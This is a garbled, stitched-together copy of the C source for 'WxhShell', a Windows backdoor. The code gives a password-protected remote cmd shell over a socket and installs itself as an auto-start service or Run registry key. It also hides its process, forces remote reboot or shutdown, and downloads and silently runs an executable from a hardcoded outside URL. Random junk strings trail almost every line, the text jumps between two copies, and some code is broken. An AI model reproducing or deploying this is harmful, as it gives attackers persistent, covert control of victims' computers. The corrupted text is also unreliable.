    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); p1B~F  
    if(Boot(SHUTDOWN)) Z<@dM2b)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); eeu;A, @U  
    else { .|z8WF*  
    closesocket(wsh); \9T /%[r#  
    ExitThread(0); %Ae43  
    } g]E>e v{`  
    break; DRuG5|{I:  
    } \9`76*X6 c  
  // 获取shell 6Dz N.fz  
  case 's': { .p$tb2%r  
    CmdShell(wsh); p^THoF'~T  
    closesocket(wsh); 5tQZf'pHfd  
    ExitThread(0); l/g6Tv `w  
    break; Hh{pp ^  
  } m)Sdo gt_  
  // 退出 '4]_~?&x  
  case 'x': { &$8YW]1M  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); $fFh4O4  
    CloseIt(wsh); }\3jcnn  
    break; VL2+"<  
    } y`8 bx94jB  
  // 离开 x_$`#m{hL5  
  case 'q': { lNba[;_  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ^SC2k LI  
    closesocket(wsh); q!4eVg*  
    WSACleanup(); ;<N%D=;}@  
    exit(1); \ _l4li  
    break; Ze"m;T  
        } @e:= D  
  } jN T+?2  
  } GiS:Nq`$(  
DuI>z?bS  
  // 提示信息 ckdXla  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); y ]D[JX[  
} U\GuCw  
  } ,4H/>yPw  
WO!'("  
  return; iph}!3f  
} ?'RB'o~  
lFZl}x  
// shell模块句柄 |*n B2  
int CmdShell(SOCKET sock) ,Vfjt=6]}  
{ )];Bo.QA  
STARTUPINFO si;  *"Uf|  
ZeroMemory(&si,sizeof(si)); L6Io u  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; W*r1Sy  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; &(X67  
PROCESS_INFORMATION ProcessInfo; +sT S1t  
char cmdline[]="cmd"; /X;/}fk  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ToX--w4  
  return 0; Jp"yb`w  
} N~~ sM"n  
;LqpX!Pi f  
// 自身启动模式 W[<ZI>mf  
int StartFromService(void) 3 nnoXc'  
{ s`gfz}/  
typedef struct <rxtdI"3  
{ 2;ju/9 x  
  DWORD ExitStatus; ],s{%a5wC  
  DWORD PebBaseAddress; 3@42u G>  
  DWORD AffinityMask; r1 [c+Hy  
  DWORD BasePriority; [,56oMd~  
  ULONG UniqueProcessId; TyY%<NCIb  
  ULONG InheritedFromUniqueProcessId; BlfadM;  
}   PROCESS_BASIC_INFORMATION; |8?e4yVd  
Q?>DbT6  
PROCNTQSIP NtQueryInformationProcess; 7#(0GZN9h%  
se=;vp]3a  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Xm3r)Bm'3  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; (7Ln~J*  
pGd@%/]AO  
  HANDLE             hProcess; Zm*qV!  
  PROCESS_BASIC_INFORMATION pbi; 7~Z(dTdSG  
_p^$.\k"  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Jq?Fi'2F%  
  if(NULL == hInst ) return 0; L%jIU<?Z7  
 ZvwU  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); *vzEfmN:d  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); }0,dG4Oo=  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); N}>[To3  
jN-!1O._G  
  if (!NtQueryInformationProcess) return 0; {mUt|m 7!  
gI!d*]{BP  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); SHT`  
  if(!hProcess) return 0; ![9$ru  
-&l%CR,U  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; [kf6bf@  
9yz@hdG  
  CloseHandle(hProcess); %n 6NVi_[  
=0a z5td  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); _L+j6N.h1  
if(hProcess==NULL) return 0; Vh?RlIUA  
(67byO{  
HMODULE hMod; /cT6X]o8  
char procName[255]; yLPP6_59$  
unsigned long cbNeeded; 0O[le*3b  
YSrjg|k*  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); &\%\"Zh  
""A6n{4  
  CloseHandle(hProcess); [bw1!X3  
n?;h-KKO:  
if(strstr(procName,"services")) return 1; // 以服务启动 SlG^ H  
j WSgO(y  
  return 0; // 注册表启动 }Ogb|8  
} bh(} f.@ 9  
?) T@qn+  
// 主模块 @]!9;?so  
int StartWxhshell(LPSTR lpCmdLine) 6_:I~TTX  
{ Fv*Et-8tN5  
  SOCKET wsl; e_"m\e#N  
BOOL val=TRUE; $01csj  
  int port=0; &u~Pp=kv  
  struct sockaddr_in door; y)"rh/;  
#0PZa$kM(o  
  if(wscfg.ws_autoins) Install(); n =WH=:&  
2Z5_@Y  
port=atoi(lpCmdLine); )|_L?q#w!'  
a?yU;IKJ  
if(port<=0) port=wscfg.ws_port; r.lHlHl  
Wm}gnNwA  
  WSADATA data; \E[6wB>uN%  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; e{9~m  
\B^NdG5Y  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   M4D @G  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); OE}FZCX F  
  door.sin_family = AF_INET; xZ6x`BET-  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); uq ;yR[w"  
  door.sin_port = htons(port); RL$%Vy0  
&Q#*Nnb3  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { li,rPUCt  
closesocket(wsl); $s4.Aj  
return 1; @ meT8S9t  
} 2W2T  
TMo DN%{  
  if(listen(wsl,2) == INVALID_SOCKET) { T@*'}*  
closesocket(wsl); y$9! rbL  
return 1; 3H0B+F2XQ  
} PfyJJAQ[  
  Wxhshell(wsl); `lQ;M?D  
  WSACleanup(); \Z,{De%  
<&#MX  
return 0; k'k}/Hxub  
C fM[<w   
} K yyVO"  
_9JFlBx  
// 以NT服务方式启动 hO&_VCk  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) TEh.?  
{ #4lIna%VX  
DWORD   status = 0; {z\K!=X/  
  DWORD   specificError = 0xfffffff; lZuH:AH  
rwVp}H G  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Y SB=n d_  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; d^J)Mhju  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; PZ`11#bbm  
  serviceStatus.dwWin32ExitCode     = 0; zj(V\y&H  
  serviceStatus.dwServiceSpecificExitCode = 0; #]6{>n1*+w  
  serviceStatus.dwCheckPoint       = 0; yCA8/)>Gm  
  serviceStatus.dwWaitHint       = 0; KGcjZx04!  
Sb> &m  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); pB#I_?(  
  if (hServiceStatusHandle==0) return; /Q3\6DCl  
+'-.c"  
status = GetLastError(); vg5_@7  
  if (status!=NO_ERROR) /s~S\dG  
{ tv.<pP9-C  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; S1I.l">P  
    serviceStatus.dwCheckPoint       = 0; #4b]j".P!n  
    serviceStatus.dwWaitHint       = 0; TYb$+uY  
    serviceStatus.dwWin32ExitCode     = status; `CH,QT7e  
    serviceStatus.dwServiceSpecificExitCode = specificError; bc4V&  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7KX27.~F  
    return; o{! :N>(  
  } ! xG*W6IT  
as|w} $  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; PCHspe9!y  
  serviceStatus.dwCheckPoint       = 0; )Z:D}r8[  
  serviceStatus.dwWaitHint       = 0; W>i"p~!  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); /.<v,CR  
} Y#XRn _2D  
YcX\t6VK  
// 处理NT服务事件,比如:启动、停止 gK9d `5  
VOID WINAPI NTServiceHandler(DWORD fdwControl) !{ (Bc8 hT  
{ CUYA:R<)  
switch(fdwControl) 3V?x&qlP>  
{ J-Tiwl  
case SERVICE_CONTROL_STOP: Z i.' V  
  serviceStatus.dwWin32ExitCode = 0; ON){d!]uJ  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; pITF%J@_]  
  serviceStatus.dwCheckPoint   = 0; xE w\'tH  
  serviceStatus.dwWaitHint     = 0; Pv/ v=s>X  
  { XWnP(C9?  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); bY=[ USgps  
  } R-j*fO}  
  return; GPK\nz}  
case SERVICE_CONTROL_PAUSE: DegbjqZ#  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; / De~K+w7o  
  break; .= ?*Wp  
case SERVICE_CONTROL_CONTINUE: V(F9=r<X  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Mh4MaLw  
  break; Tk4>Jb  
case SERVICE_CONTROL_INTERROGATE: Lr D@QBT  
  break; Leb|YX  
}; ro\ oL  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); L;%w{,Ji  
} @)uV Fw"\  
twq~.:<o  
// 标准应用程序主函数 V7Cnu:0_  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) "H).2{3(x  
{ fDf[:A,8  
DJL.P6-W  
// 获取操作系统版本 <cp9+P <  
OsIsNt=GetOsVer(); 'v~'NWfd  
GetModuleFileName(NULL,ExeFile,MAX_PATH); PnA{@n\  
JRo/ HY+  
  // 从命令行安装 `.@sux!lu  
  if(strpbrk(lpCmdLine,"iI")) Install(); 0DmA3  
xBVOIc[4(  
  // 下载执行文件 z6C(?R  
if(wscfg.ws_downexe) { |cf-S8pwY  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) TXmS$q   
  WinExec(wscfg.ws_filenam,SW_HIDE); d@$| zr6  
} kFWwz^x  
{h7 vJ^  
if(!OsIsNt) { 3W%6n-*u  
// 如果时win9x,隐藏进程并且设置为注册表启动 #@$80eFq  
HideProc(); *uhQP47B  
StartWxhshell(lpCmdLine); p35=CX`T.  
} I[Lg0H8  
else /;#kV]nF  
  if(StartFromService()) b4e~Z  
  // 以服务方式启动 %-540V{q  
  StartServiceCtrlDispatcher(DispatchTable); *y?HaU  
else p8~lGuH  
  // 普通方式启动 !%,7*F(  
  StartWxhshell(lpCmdLine); jU j\<aW  
LJGpa )(  
return 0; 9kH~=`:?  
} u^tQ2&?O!P  
1+; bd'Ie  
}} =n]_f  
!H\o Qv-I  
=========================================== sv% X8  
N|DI k  
FfJp::|ddr  
Qh1pX}X  
"/aZ*mkjfJ  
PN l/}'  
" {fR\yWkt?  
cERIj0~  
#include <stdio.h> ?ZlXh51  
#include <string.h> 4d@yAr}  
#include <windows.h> 5qtk#FB  
#include <winsock2.h> .KA-=$~J1  
#include <winsvc.h> [`\VgKeu  
#include <urlmon.h> AOR?2u  
i< ^X z  
#pragma comment (lib, "Ws2_32.lib") Y\]ZIvTSb  
#pragma comment (lib, "urlmon.lib") )}@D\(/@  
avRtYL  
#define MAX_USER   100 // 最大客户端连接数 cAW}a  
#define BUF_SOCK   200 // sock buffer Vke<; k-  
#define KEY_BUFF   255 // 输入 buffer *(OG+OkC  
oRWje#4O  
#define REBOOT     0   // 重启 fs 'SCwx  
#define SHUTDOWN   1   // 关机 kXwAw]ogN  
3CoZ2  
#define DEF_PORT   5000 // 监听端口  ##rkyd  
5^g*  
#define REG_LEN     16   // 注册表键长度 P51M?3&=l  
#define SVC_LEN     80   // NT服务名长度 R5uG.Oj-2  
b w P=f.  
// 从dll定义API %;'~TtW5  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); j&d5tgLB  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ,_e [P  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); M}\h?s   
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); P8z%*/ 3NF  
MbRTOH  
// wxhshell配置信息 oe*1jR_J`[  
struct WSCFG { u9hd%}9Qd?  
  int ws_port;         // 监听端口 Ou_H&R  
  char ws_passstr[REG_LEN]; // 口令 q5(t2nNb  
  int ws_autoins;       // 安装标记, 1=yes 0=no 4Hj)Av <O(  
  char ws_regname[REG_LEN]; // 注册表键名 c;VqEpsbl  
  char ws_svcname[REG_LEN]; // 服务名 'Lrn<  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 6m:$mhA5  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 X0;u7g2Yz  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 =0ZRG p  
int ws_downexe;       // 下载执行标记, 1=yes 0=no !?P8[K  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" xuK"pS  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 dR S:S_  
|4df)  
}; 3a?-UT!  
QHR,p/p  
// default Wxhshell configuration d0:LJ'<Q  
struct WSCFG wscfg={DEF_PORT, !O_G%+>5W  
    "xuhuanlingzhe", FH,]'  
    1, $tmdE )"&  
    "Wxhshell", 7iP+!e}$.  
    "Wxhshell", Q@W/~~N  
            "WxhShell Service", cRT'?w`}  
    "Wrsky Windows CmdShell Service", -5<[oBL;  
    "Please Input Your Password: ", ?\V#^q-  
  1, B6  0  
  "http://www.wrsky.com/wxhshell.exe", e(0OZ_w  
  "Wxhshell.exe" Ehx9-*]  
    }; <fUo@]Lv  
S^rf^%  
// 消息定义模块 `8!9Fp  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; h=#w< @  
char *msg_ws_prompt="\n\r? for help\n\r#>"; [YOH'i&X  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Z`S# > o  
char *msg_ws_ext="\n\rExit."; w2DC5ei'  
char *msg_ws_end="\n\rQuit."; b#_RZ  
char *msg_ws_boot="\n\rReboot..."; m/=nz.  
char *msg_ws_poff="\n\rShutdown..."; A=N$5ZJ  
char *msg_ws_down="\n\rSave to "; +RooU?Aq  
AP&//b,^M  
char *msg_ws_err="\n\rErr!"; CP7dn/  
char *msg_ws_ok="\n\rOK!"; C"I jr=w  
b@Oq}^a&o  
char ExeFile[MAX_PATH]; gNCS*a  
int nUser = 0; =D`8,n [  
HANDLE handles[MAX_USER]; /lBK )(  
int OsIsNt; ~lj[> |\Oj  
'ITq\1z  
SERVICE_STATUS       serviceStatus; Q~,Mzt"}W  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; P<PZ4hNx  
igxO:]?  
// 函数声明 p'R<yB)V  
int Install(void); Nfa&r  
int Uninstall(void); F 3|^b{'zO  
int DownloadFile(char *sURL, SOCKET wsh); l\UjvG  
int Boot(int flag); 8 lggGt  
void HideProc(void); ,2M}qs"P7G  
int GetOsVer(void); [Hh-F#|R  
int Wxhshell(SOCKET wsl); b>-DX  
void TalkWithClient(void *cs); n~^SwOt~;5  
int CmdShell(SOCKET sock); pfN(Ae Pt  
int StartFromService(void); QG5WsuT  
int StartWxhshell(LPSTR lpCmdLine); q'mh*  
EvT$|#FY  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); o[ 5dR<  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); MmT/J1zM  
oZBD.s  
// 数据结构和表定义 ^ij0<*ca9  
SERVICE_TABLE_ENTRY DispatchTable[] = bZ`v1d (r  
{ K%z!#RyJ4  
{wscfg.ws_svcname, NTServiceMain}, @]Cg5QW>T  
{NULL, NULL} cN,*QN  
}; }3#\vn0gT  
4XpWDfa.}  
// 自我安装 xC`!uPk/pL  
int Install(void) {-Y;!  
{ 2*Qv6 :qK  
  char svExeFile[MAX_PATH]; eCGr_@1  
  HKEY key; 6K.2VY#  
  strcpy(svExeFile,ExeFile); :HY$x  
JS/'0.  
// 如果是win9x系统,修改注册表设为自启动 fL*7u\m:  
if(!OsIsNt) { N5?bflY  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { '`jGr+K,wU  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); :v^/k]S  
  RegCloseKey(key); D3o,2E(o  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { > 80{n8  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Os9SfL  
  RegCloseKey(key); s)-oCT$[  
  return 0; TQ"XjbhU;X  
    } &n<YmW?"  
  } 82LE9<4A  
} g>/Y}{sL-  
else { .QvD603%5  
m+c-"arIpA  
// 如果是NT以上系统,安装为系统服务 uxfh?gsL  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); )iN;1>  
if (schSCManager!=0) f}-'67*Y  
{ <i~xJi%1#  
  SC_HANDLE schService = CreateService \J^#2{d  
  ( >=@-]X2%j  
  schSCManager, &=@{`2&  
  wscfg.ws_svcname, z D{]3pg  
  wscfg.ws_svcdisp, 4(L mjue]?  
  SERVICE_ALL_ACCESS, @)Vpj\jM-C  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , :60v bO  
  SERVICE_AUTO_START, 7#LIGr  
  SERVICE_ERROR_NORMAL, o}AXp@cqi  
  svExeFile, !^arWH[od  
  NULL, =$'>VPQ  
  NULL, khy'Y&\F;  
  NULL, NW\CEJV  
  NULL, 5H3o?x   
  NULL e;.,x 5+  
  ); X$kLBG_  
  if (schService!=0)  ~~>m  
  { j )J |'b|  
  CloseServiceHandle(schService); A]BeI  
  CloseServiceHandle(schSCManager); ]Uv,}W  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 'va[)~!  
  strcat(svExeFile,wscfg.ws_svcname); f{9+,z   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { #T)Gkc"{  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Wb}-H-O  
  RegCloseKey(key); T@W:@,34  
  return 0; owNwj  
    } k(ouE|B  
  } ^>|ZN2  
  CloseServiceHandle(schSCManager); bDl:,7;  
} /M2in]oH  
} h#0n2o#  
3fOOT7!FL  
return 1; ^|/mn!7wD  
} XFhH+4#]  
,3:f4e\<  
// 自我卸载 T~UDD3  
int Uninstall(void) +5y^c |L0  
{ 1Yb&E7j  
  HKEY key; NpVL;6?7T  
vj?{={Y  
if(!OsIsNt) { N#u'SGTG  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Jn hdZa  
  RegDeleteValue(key,wscfg.ws_regname); {~apY,3  
  RegCloseKey(key); r5j$FwY  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { G$C2?|V)=  
  RegDeleteValue(key,wscfg.ws_regname); ?b_E\8'q]  
  RegCloseKey(key); xw*e`9vAe  
  return 0; <F3{-f'Rx  
  } %H\b5& _y  
} R0?bcP&  
} uda++^y:  
else { 2}^=NUM\NX  
{6u)EJ  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); kff N0(MR  
if (schSCManager!=0) }IygU 6{G  
{ Dw i-iA_q  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 'aNkU  
  if (schService!=0) FVXsu!R  
  { +yL;?+s>=  
  if(DeleteService(schService)!=0) { zgjg#|  
  CloseServiceHandle(schService); J6#h~fpv  
  CloseServiceHandle(schSCManager); . X!!dx1<  
  return 0; S_7]_GQ9  
  } 75\ZD-{T:  
  CloseServiceHandle(schService); SQ) BS/8A  
  } ;lmg0dtJ  
  CloseServiceHandle(schSCManager); m=}h7&5p  
} <EC"E #p  
} aImzK/  
)"TVR{I%B  
return 1; rxp|[>O<  
} C^q|(G)  
Jt$YSp=!!  
// 从指定url下载文件 &g?GF\Y  
int DownloadFile(char *sURL, SOCKET wsh) uzp\V 39  
{ L@Rgiq|v-|  
  HRESULT hr; +s#%\:Y M  
char seps[]= "/"; }+j B5z'w  
char *token; RLf-Rdx/  
char *file; nWK8.&{.  
char myURL[MAX_PATH]; J`g5Qn @S  
char myFILE[MAX_PATH]; xOkduk]  
D5"5`w=C  
strcpy(myURL,sURL); NVzo)C8kb  
  token=strtok(myURL,seps); :'DX M{  
  while(token!=NULL) IJf%OA>v  
  { &r[f ;|o  
    file=token; :>!-[hfQ  
  token=strtok(NULL,seps); APl]EV" l  
  } QN8+Uj/zx  
vU%o5y:  
GetCurrentDirectory(MAX_PATH,myFILE); bqn(5)%{  
strcat(myFILE, "\\"); :^(y~q?  
strcat(myFILE, file); 45biy(qa  
  send(wsh,myFILE,strlen(myFILE),0); X1w11Z7o  
send(wsh,"...",3,0); $z!G%PO1%  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); H:~bWd'iz  
  if(hr==S_OK) 8cO?VH,nk  
return 0; 1e\cJ{B  
else [>NMuwtG  
return 1; %Za}q]?  
IYn`&jS{  
} )B]"""J  
5=;cN9M@  
// 系统电源模块 |ts0j/A]Pi  
int Boot(int flag) ]{=y8]7  
{ bB4FjC':  
  HANDLE hToken; 2>jk@~Z1:u  
  TOKEN_PRIVILEGES tkp; +xuv+mo  
:[@rA;L  
  if(OsIsNt) { /J^dz vH  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 23CvfP  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); !W XV1S  
    tkp.PrivilegeCount = 1; Nd(3q]{  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; +VVn@=&?  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ">T\]V$R  
if(flag==REBOOT) { -+F,L8  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) IWYQ67Yj   
  return 0; k*_Gg  
} 'n h^;  
else { O#.YTTj  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) =?|$}vDO[  
  return 0; pbKmFweq  
} (pH)QG  
  } {n>.Y -=  
  else { 8`S1E0s  
if(flag==REBOOT) { 38sLyoG=i  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) =b66H]h?  
  return 0; XrUI [ryE  
} q=^;lWs4  
else { MO0t  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) $j,$O>V  
  return 0; $mK;{9Z  
} z1b@JCWE  
} 1Z0Qkd(  
<< =cZ.HP  
return 1; hXFT(J=  
} xjBY6Ylz  
KsGW@Ho:  
// win9x进程隐藏模块 vcW(?4e  
void HideProc(void) In4VS:dD  
{ 7zzFM  
%KF I~Qk  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); b7hICO-w  
  if ( hKernel != NULL ) pIR_2Eq  
  { 2r2:  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); n-K/d I  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); !>'A2V~F  
    FreeLibrary(hKernel); 8nZ_.  
  } nt"\FZ*;3  
)z&C&Gqz  
return; $@s-OQ}  
} WCY._H>|   
8'E7Uj  
// 获取操作系统版本 sI6*.nR  
int GetOsVer(void) #[i3cn  
{ nKd'5f1  
  OSVERSIONINFO winfo; kJ%a;p`O  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); R{[v#sF >#  
  GetVersionEx(&winfo); pj7a l;  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) +PBl3  
  return 1; p+ReQ.5|  
  else S*n5d>;  
  return 0; 5(2 C  
} Tcv/EST  
tVf):}<h  
// 客户端句柄模块 Vk`Uz1*  
int Wxhshell(SOCKET wsl) 'uzHI@i  
{ Eve,*ATI  
  SOCKET wsh; yOD=Vc7i  
  struct sockaddr_in client; .Erv\lv*  
  DWORD myID; },X.a@:  
^d# AU7V|  
  while(nUser<MAX_USER) z(,j)".  
{ +P+h$gQ  
  int nSize=sizeof(client); >KQ/ c  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); rR ^o  
  if(wsh==INVALID_SOCKET) return 1; G/~b(V;>  
;Tk/}Od!VN  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); cxQ %tL+S&  
if(handles[nUser]==0) XFWE^*e=B  
  closesocket(wsh); ^[R/W VNk  
else OI0@lSAo<  
  nUser++; 'b"7Lzp2  
  } w('}QB`xad  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); v6wg,,T  
>B``+ Z^2  
  return 0; `*0VN(gf'  
} ' Hj([N  
fg ,vTpBk  
// 关闭 socket 1fV)tvU$  
void CloseIt(SOCKET wsh) N,8.W"fV  
{ E|oOd<z  
closesocket(wsh); fHwS12SB  
nUser--; |F\fdB}?S:  
ExitThread(0); 9W-" mD;  
} jT]R"U/Q  
?N9Z;_&^.  
// 客户端请求句柄 B^]Gv7-  
void TalkWithClient(void *cs) ^} Y}Iz  
{ %S`Wu|y  
6*EIhIQ(  
  SOCKET wsh=(SOCKET)cs; ?.-+U~  
  char pwd[SVC_LEN]; KbciRRf!k  
  char cmd[KEY_BUFF]; ,c`Wmp^AY  
char chr[1]; g/FT6+&T.  
int i,j; Kc@Sw{JR#7  
(i\{hq/  
  while (nUser < MAX_USER) {  jrS$!cEo  
@o1#J` rv  
if(wscfg.ws_passstr) { (]?M=?0\  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);  6cjCn  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); *q\>DE=7  
  //ZeroMemory(pwd,KEY_BUFF); f8UJ3vB  
      i=0; jUZ$vyT  
  while(i<SVC_LEN) { X,lhVT |  
t+pA9^$[ `  
  // 设置超时 `WMU'ezF  
  fd_set FdRead; Z;tWV%F5  
  struct timeval TimeOut; ~$//4kES  
  FD_ZERO(&FdRead); S|KUh|=Q  
  FD_SET(wsh,&FdRead); SY:ISzB}  
  TimeOut.tv_sec=8; }Q\+w,pJgN  
  TimeOut.tv_usec=0; YUTh*`1k<  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); pVzr]WFx  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); BW3Q03SW6  
m$hkmD|  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); '~7zeZ'  
  pwd=chr[0]; K:VZ#U(_  
  if(chr[0]==0xd || chr[0]==0xa) { B>S>t5$  
  pwd=0; CQmozh-  
  break; ^U*1_|Jh  
  } (7&b)"y  
  i++;  JJs*2y  
    } p/l">d]+  
p)z#%BY56  
  // 如果是非法用户,关闭 socket oLq N  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); '6g-]rE[  
} M$!-B,1BX  
{KK/mAp{  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); {: \LFB_  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); >o3R~ [  
iv],:|Mbd  
while(1) { f<oU" WM  
zK_P3r LsS  
  ZeroMemory(cmd,KEY_BUFF); M^ e}w!U  
CGb4C(%-7  
      // 自动支持客户端 telnet标准   c4Q9foE   
  j=0; &sYxe:H  
  while(j<KEY_BUFF) { x TH3g^E  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); @)!N{x?  
  cmd[j]=chr[0]; l&kZ6lZ  
  if(chr[0]==0xa || chr[0]==0xd) { &v;o }Q}E{  
  cmd[j]=0; W4P+?c>'2  
  break; ^ rUq{  
  } J,=ZUh@M  
  j++; 1U^KN~!  
    } eJ ^I+?h  
FJKlqM5]  
  // 下载文件 Jf#-OlEQ  
  if(strstr(cmd,"http://")) { 0V86]zSo  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); _I3v"d  
  if(DownloadFile(cmd,wsh)) rz`"$g+#  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Lm<WT*@  
  else x&+&)d  
